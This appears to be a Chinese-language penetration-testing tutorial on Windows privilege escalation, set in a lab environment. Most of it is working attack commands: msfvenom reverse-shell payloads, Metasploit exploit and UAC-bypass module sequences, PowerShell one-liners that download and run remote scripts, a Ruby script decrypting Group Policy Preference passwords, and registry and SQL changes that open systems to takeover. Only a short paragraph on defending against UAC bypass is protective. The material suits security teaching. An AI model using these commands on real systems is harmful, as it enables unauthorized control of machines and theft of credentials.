1.原理

1
通过利用操作系统中的漏洞或者配置错误,是的攻击者能够从普通用户权限提升为管理员权限(或更高级的系统权限)。
1
2
3
4
5
6
7
在Windows中,权限大概分为四种:

User:普通用户权限,默认不允许修改系统的设置或用户资料
Administrator:管理员权限,可以利用Windows的机制将自己提升为System权限
System:系统权限,可以对SAM等敏感文件进行读取
TrustedInstaller:最高权限,不涉及,作用于系统文件

1
2
3
4
提升权限(也称提权)的方式分为以下两类:

纵向提权:低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权,拥有了管理员权限
横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限
1
2
3
4
5
6
7
8
9
10
提权方法

系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
Web中间件漏洞提权
DLL(动态库)劫持提权
滥用高权限令牌提权
第三方软件/服务提权

2.各种姿势

1.系统内核溢出提权(缓冲区溢出漏洞)

1
2
3
4
5
6
第一大类是系统内核溢出提权,俗称PWN洞,这也就是WEB和PWN不分家的原因。基本原理是攻击者利用"缓冲区溢出漏洞"修改内存中变量的值,甚至可以劫持进程,执行反弹shell等一系列操作。
如果是空余时间不太多的师傅不太建议学原理,这又是一门新课了。
步骤::
(1)信息收集,例如查看当前权限,查看版本、补丁等
whoami /groups 查看系统组以及当前权限
systeminfo 查看补丁信息

image-20241217082434755

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(2)根据收集到的信息确定可利用漏洞
除了手动查找也可以利用工具查找
Windows-Exploit-Suggester是一款提权辅助工具
地址: https://github.com/GDSSecurity/Windows-Exploit-Suggester

先更新
python2 windows-exploit-suggester.py --update

然后在靶机导出systeminfo
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>systeminfo > systeminfo.txt

再查找 这里的systeminfo.txt 是用靶机导出的
python2 windows-exploit-suggester.py -d 2024-12-07-mssb.xls --systeminfo systeminfo.txt

这两个是在线的exp查找网站
https://i.hacking8.com/tiquan
https://patchchecker.com/
1
2
3
4
5
(3)根据漏洞查找EXP
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(4)MSF提权 

先生成一个shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.240.130 LPORT=1000 -f exe > shell.exe
传到靶机上面

攻击机:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.240.130
set lport 1000
run
靶机:
双击shell.exe

这时候肯定就拿到shell了 注意不需要进入shell下,就在metepreter下就可以了
run post/windows/gather/enum_patches #获得systeminfo并且输出能够提权的exp

img

1
2
3
4
5
6
存在+ 号的一般都是可以利用的
使用获得的提权漏洞所对应的模块 #这里使用第四个ms15提权
先把session放到后台 用background或者ctrl+z
use exploit/windows/local/ms15_051_client_copy_image
set session 2 #要用sessions确认自己的反弹shell在哪个session下
run

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(5)获取EXP / POC
安全漏洞库:
https://nvd.nist.gov
http://cve.scap.org.cn
https://www.seebug.org
https://www.cnvd.org.cn
http://www.cnnvd.org.cn
https://www.securityfocus.com
http://www.nsfocus.net/vulndb
https://msrc.microsoft.com/update-guide

KB、POC、EXP查找:
https://0day.today
https://www.exploit-db.com
http://kernelhub.ascotbe.com
https://github.com/Ascotbe/Kernelhub
https://github.com/qazbnm456/awesome-cve-poc
https://github.com/SecWiki/windows-kernel-exploits
https://www.catalog.update.microsoft.com/home.aspx

2.Windows数据库提权

1
2
3
4
5
6
7
这种情况一般需要二级提权甚至三级提权。由SQL注入,数据库泄漏,弱口令攻击,未授权访问等拿到数据库权限,接着需要继续提权来获得administrator权限

大概流程::
网站存在SQL注入漏洞
数据库的存储文件或备份文件
网站应用源码中的数据库配置文件
采用工具或脚本爆破(需解决外联问题)
1
2
3
4
5
6
7
8
9
10
11
12
13
利用数据库自动化提权项目进行连接
MDUT-图形化
https://github.com/SafeGroceryStore/MDUT

Sylas-图形化
https://github.com/Ryze-T/Sylas

RequestTemplate-图形化
https://github.com/1n7erface/RequestTemplate

Databasetools-命令行
https://github.com/Hel10-Web/Databasetools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
如何解决外联问题:
-利用已知Web权限建立代理节点,然后自动化提权项目在连接这个代理节点(等同于本地连接)
-利用已知权限执行SQL开启外联(让数据库支持外联)

MYSQL(默认不支持不外联)
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;

MSSQL(默认支持外联)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

Oracle(默认支持外联)
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP;
1
2
3
4
演示案例1-Web到Win-数据库提权-MYSQL(默认3306端口)
MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没有进行目录限制,如果进行了目录限制就会导致提权失败)
技术:UDF MOF(win2008之后就用不了) 启动项 反弹Shell

image-20241217085749847

image-20241217085854426

1
2
mysql默认不支持外联,需要用sql语句运行root账户支持外联
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '10idc.com' WITH GRANT OPTION;

image-20241217090325404

image-20241217090527999

1
2
同时在信息收集的时候也可以特地看有没有%,如果有就是默认支持了外联
用MDUT工具连接数据库并且反弹shell给我kali

image-20241217093114468

image-20241217090708530

image-20241217090749326

1
2
3
4
演示案例2-Web到Win-数据库提权-MSSQL(默认1433端口)
MSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒

image-20241217091252801

1
2
这个演示环境的mssql不需要再用sql语句开启外联
RequestTemplate

image-20241217093146099

image-20241217093209637

image-20241217093221144

image-20241217093242124

image-20241217093305787

image-20241217093320294

image-20241217093416221

1
2
3
4
演示案例3-WebWin-数据库提权-ORACLE(默认1521端口)
Oracle:(站库分离,非JSP,直接数据库到系统等)
条件:数据库用户密码
技术:DBA,普通用户,注入模式
1
oracleshell  https://github.com/jas502n/oracleShell

image-20241217093524433

img

3.错误的系统配置提权

1
2
3
系统服务文件会在Windows系统启动时启动,普通用户没有"高权限服务调用的exe文件"的写入权限
如果有一个错误配置使得普通用户有写入权限了,那么他可能把这个exe文件替换成例如msf后门的一系列exe
有两种方式能够拿到高权限,第一种是创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PowerUp 脚本检测 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
# 本地加载,检测可利用提权方式
import-Module .PowerUp.ps1
Invoke-AllChecks
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1;InvokeAllChecks}"

远程加载,检测可利用提权方式
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellE
mpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

使用检测到的提权脚本进行提权
powershell -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellE
mpire/PowerTools/master/PowerUp/PowerUp.ps1'); <利用语句>"

1
2
3
4
MSF
exploit/windows/local/service_permissions
show options
set session 2
1
2
3
4
5
6
7
8
9
10
11
12
13
不常用:通过注册表键AlwaysInstallElevated提权
注册表键是一个策略设置项,如果启用,那么地权限用户可以通过NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
但是如果开启Windows installer特权安装功能,那么所有用户都可以以system安装文件

判断是否激活alwaysinstallelevated
powerup:
打开powershell,绕过执行策略并添加倒入powerup模块
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

通过注册表的键值判断
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

image-20241217100613861

1
2
3
4
5
6
7
8
9
10
11
激活AlwaysInstallElevated
激活它可以通过修改注册表的键值或者在图形化页面上激活。 图形化如下,路径为计算机设置\管理模版\windows组件\windows installer,选中已启用即可,需要管理员权限:

通过修改注册表
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

修改注册表的这两项需要有下面两权限:
SeRestorePrivilege
SeTakeOwnershipPrivilege
使用whoami /priv可以查看权限。

image-20241217100733819

1
2
3
4
5
6
 提权
下载exemsi
https://www.exemsi.com/download/
用msf生成exe
msfvenom -p windows/x64/meterpreter/reverse_http LPORT=9090 LHOST=172.16.250.1 -f exe >1.exe
使用exemsi将exe封装为msi。 软件页面如下,这一步很简单,不过多阐述。

image-20241217100852886

1
受害者机器上执行:msiexec /q /i 1.msi  就可以在远控端拿到system权限
1
2
3
4
5
6
7
8
9
10
可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格(可信任服务路径),那么这个服务就是有漏洞的。
Windows服务都是以system启动的,在解析bin文件路径的空格时也是用system,对于文件路径的每一个空格系统都会尝试并"执行"名字与空格前的名字相匹配的程序
现在有一个程序C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
那么他的解析分3
1. C:\Program
2. C:\Program Files
3. C:\Program Files (x86)\Razer
4. C:\Program Files (x86)\Razer Chroma
5. C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
1
2
操作步骤 1.执行下列代码探测符合条件的服务
wmic service get displayname,startmode,pathname|findstr /i "Auto" | findstr /i /v "C:\Windows\"

image-20241217102324244

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2.确认该目录是否可写

3.重启服务

sc stop service_name
sc start service_name



msf利用:
使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后将受影响的服务重启

msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个meterpreter,但是反弹的会很快中断,需迁移进程
set AutoRunScript migrate -f #自动迁移进程
命令执行后,会自动反弹一个新的meterpreter。再次查询权限,显示提权成功,需要注意的是,反弹的meterpreter 会很快中断,这是因为当一个进程在Windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中(可以使用“set AutoRunScript migrate -f”命令自动迁移进程)。

1
2
3
4
5
6
7
不安全的服务权限漏洞
接上面可信任服务路径漏洞,即使是用双引号引起来了,也可能有服务权限漏洞,例如给低权限用户修改权限,低权限用户可能直接重定向exe
过程:检测服务权限配置-msf写后门,也可以用其他的-上传-修改system权限启动的服务的路径-调用(一般要重启)

accesschk.exe -uwcqv "administrators" *
sc config "NewServiceName" binpath="C:\Program.exe"
sc start "NewServiceName"

4.组策略首选项提权

1
2
介绍一个目录-sysvol是所有经过身份验证的用户具有读写权限的Active Directory(AD)中的域范围共享,在安装AD域的时候所有的DC机都会有这个文件夹的备份。所有域组策略都会存储在C:\Windows\SYSVOL\domain\Policies
C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件,groups.xml,默认是没有的
1
一般AD域的计算机都是用脚本自动化部署的,为了方便,管理者要求域中主机用域账号和密码登录,而这个就必须创建组策略脚本配置文件,这个文件里有域中所有主机的域账号和密码但是是用AES-256加密的,2012年微软已公开
1
域控的组策略中新建dc_admin组策略 #自行创建

image-20241217105750661

image-20241217105815119

1
将域中每个计算机的本地administrator用户更名为 admin,并且设置新的密码Aa123456(方便管理)

image-20241217105841600

1
确定后添加domain computers 

img

img

1
更新组策略 gpupdate /force

image-20241217105915874

1
2
现在就能看到其他域内机器的密码了
C:\Windows\SYSVOL\domain\Policies\{id}\Machine\Preferences\Groups

image-20241217110113495

img

image-20241217110149193

1
2
3
4
5
6
7
破解AES-256加密:
msf>use post/windows/gather/credentials/gpp
msf>post/windows/gather/credentials/gpp>sessions
msf>post/windows/gather/credentials/gpp> set SESSION 1
msf>post/windows/gather/credentials>show options
msf>post/windows/gather/credentials/gpp> run

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ruby脚本

require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah

ruby en.rb
1
2
kali:
gpp-decrypt 6IsqRFD6k9q5fWvZZPGGyAK9njRNN76NKTrLAfsvHGk
1
2
3
4
4powershell脚本:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword

1
2
3
4
5
6
7
8
9
UAC 白名单
白名单中的程序以静默方式自动提升到管理员权限不弹出UAC框 如slui.exe、wuUSa.exe、taskmgr.exe、msra.exe、eudcedi.exe、eventvwr.exe、CompMgmtLauncher.exe、rundll32.exe、explorer.exe等。攻击者可以对这些白名单程序进行dll劫持、dll注入或注册表劫持等,绕过uac并提升权限。
寻找白名单程序

在寻找白名单程序时,可以使用微软工具sigcheck和Strings。 白名单程序拥有一个共同的特性,就是Manifest数据中autoElevate属性的值为True。
1.sigcheck可以检测程序是否具有autoElevate属性
以Computerdefaults.exe为例,该程序位于c:\windows\system32目录下
sigcheck.exe /accepteula -m c:\windows\system32\Computerdefaults.exe

img

1
2
3
 2.Strings可以找出所有具有autoElevate属性的程序

strings.exe /accepteula -s c:\windows\system32\*.exe | findstr /i "autoElevate"
1
2
3
下面以Computerdefaults.exe为例进行分析,并通过该程序绕过UAC进行提权。将其运行,会打开默认应用界面
我们利用ProcessMonitor对该进程的行为做一个监听:
先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute

img

1
2
因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd
当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。

img

5.Web中间件漏洞提权

1
偷个懒,日后写完web的外围打点补链接

6.DLL(动态库)劫持提权

1
2
3
4
5
6
7
8
9
10
不探讨原理,不会。DLL劫持提权大概分为Windows XP SP2之前、在winxdows xp sp2之后这两种情况。
Windows程序启动的时候需要DLL。但是如果这些DLL不存在,则可以通过在应用程序要查找的位置,放置恶意DLL来提权。

通常,Windows 应用程序有其预定义好的搜索DLL 的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录(程序自身的目录)
2C:\Windows\System32
3C:\Windows\System
4C:\Windows
5、当前工作目录Current Working DirectoryCWD
6、在PATH环境变量的目录(先系统后用户)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功.
1.通过火绒剑分析进程
分析进程调用模块,找到可以利用的dll文件
2.MSF生成后门dll木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll > C:\Users\Ninja\D esktop\shell.dll
3.上传替换
4.MSF监听

>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost xxx.xxx.xxx
>set lport 8888
>exploit
等待程序运行,木马执行。
5.配合令牌窃取进行提权

>use incognito (进入incognito模块)
>list_tokens -u (列出令牌)
>impersonate_token "NT AUTHORITY\\SYSTEM"
1
2
3
4
5
6
7
8
9
10
11
12
ByPass 工具
UACME https://github.com/hfiref0x/uacme
UACME是一个专用于绕过uac的开源项目利用方式主要可以分为两大类:各类UAC白名单程序的DLL劫持(Dll Hijack)各类提升权限的COM接口利用(Elevated COM interface)
在UACME项目中,每种绕过uac的方法都有一个数字编号,由一个名为Akagi.exe的主程序进行统一调用,命令如下
Akagi.exe [key] [Param]
#key ,指定要使用的方法的编号
#Parm,指定绕过UAC后要运行的程序或命令,默认启动一个关闭了uac的cmd窗口
下面以23号方法为例进行演示,该方法通过劫持白名单程序pkgmgr.exe所加载的DismCore.dll来绕过uac。 运行如下,即可弹出一个关闭了uac的命令窗口
Akagi.exe 23 c:\windows\system32\cmd.exe
cs插件SharpBypassUAC
假设获取了一个加入了管理员组的用户test权限,由于不是administrator,权限还是非常有限,如添加用户和导出密码等操作都无法执行

img

1
选祷杌的插件ByPass UAC之SharpBypassUAC,这里通过绕过uac然后再次执行beacon.exe,就能弹回一个高权限的shell。对命令进行base64编码,然后填入如下,点击run  

img

1
此时弹回的会话,虽然用户名还是一样,但是权限确多了很多  也能抓hash

imgimg

1
注意,这个插件bypass uac后执行cmd命令“cmd lc命令”,是无回显的。所以这里选择运行攻击载荷来弹回一个高权限的会话。bypass uac一般用在非administrator管理员用户下进行权限提升,方法主要是通过劫持uac白名单程序所加载的dll文件进行提权
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MSF下的利用
msf(bypassuac)模块
MSF中Bypassuac模块的使用前提有两个:

系统当前用户必须在管理员组中

用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”

use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit

msf中内置了几个用于绕过uac的模块

img

1
2
3
4
5
如使用eventvwr模块
use exploit/windows/local/bypassuac_eventvwr
set lpor 5555
set session 2
run

img

1
直接返回—个高权限的会话

imgimg

1
2
3
4
5
6
7
8
9
msf(ask)模块
使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。

使用该模块的前提:

当前用户必须在管理员组中 或 知道管理员的密码,对UAC的设置则没有要求。

用户需要手动点击弹出的程序,是

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nishang中的Invoke-PsUACme模块

//使用sysprep方法并执行默认的payload
Invoke-PsUACme -Verbose
//使用oobe方法并执行默认的payload
Invoke-PsUACme -methed oobe -Verbose
//使用oobe方法执行自定义的payload
Invoke-PsUACme -methed oobe -Payload "powershell -windowstyle hidden -e <your encoded payload>"

可以使用payloadpath参数指定payload的路径。



针对绕过UAC提权的防御措施
在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中一样,总是弹出警告)。

7.滥用高权限令牌提权

1
令牌就相当于授权,在不需要密码的情况下访问资源。攻击者需要域管理员权限进行操作时就可以伪造管理员的令牌
1
2
3
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
1
当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
1
2
3
4
5
6
7
在MSF中
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
用MSF伪造令牌演示
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

img

img

1
2
3
4
5
烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户
通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端; 接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。 这个过程是通过一系列的Windows API调用实现的; 只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌 (一般大多数的服务型账户,例如:IIS、MSSQL…具有该权限,大多数用户级别的账户没有该权限)

烂土豆提权需要具有“模仿安全令牌权限”。我们要先进行查看是否有这个权限
查看是否具有Selmpersonate权限

image-20241217161441399

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功
使用msf的ms16-075
use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploit

或者
upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"

1
2
3
4
5
6
AD域是一种网络环境,它的核心是通过一个或多个域控制器(DC)来集中管理资源、身份认证(通过Kerberos或NTLM协议),AD服务是用于方便管理该网络环境内的各种资源包括用户计算机,账户,打印机
DC域是包含一个或者多个域控制器(DC)的域,域控制器(DC)是Active Directory中的关键组件,它负责提供身份验证、目录服务和其他管理功能。可以认为“DC域”即是一个运行并管理AD服务的环境。

AD域和DC域通常是指同一个网络环境,只是从不同角度来描述。AD域是指域的管理结构,而DC域是强调在该域中有域控制器(DC)的实际运行环境。
AD域通常表示域控制器所管理的逻辑结构,而DC域更多是指域中运行AD服务的主机(域控制器)及其运行的域环境。
AD和DC的区别:

image-20241217164043365

image-20241217165159761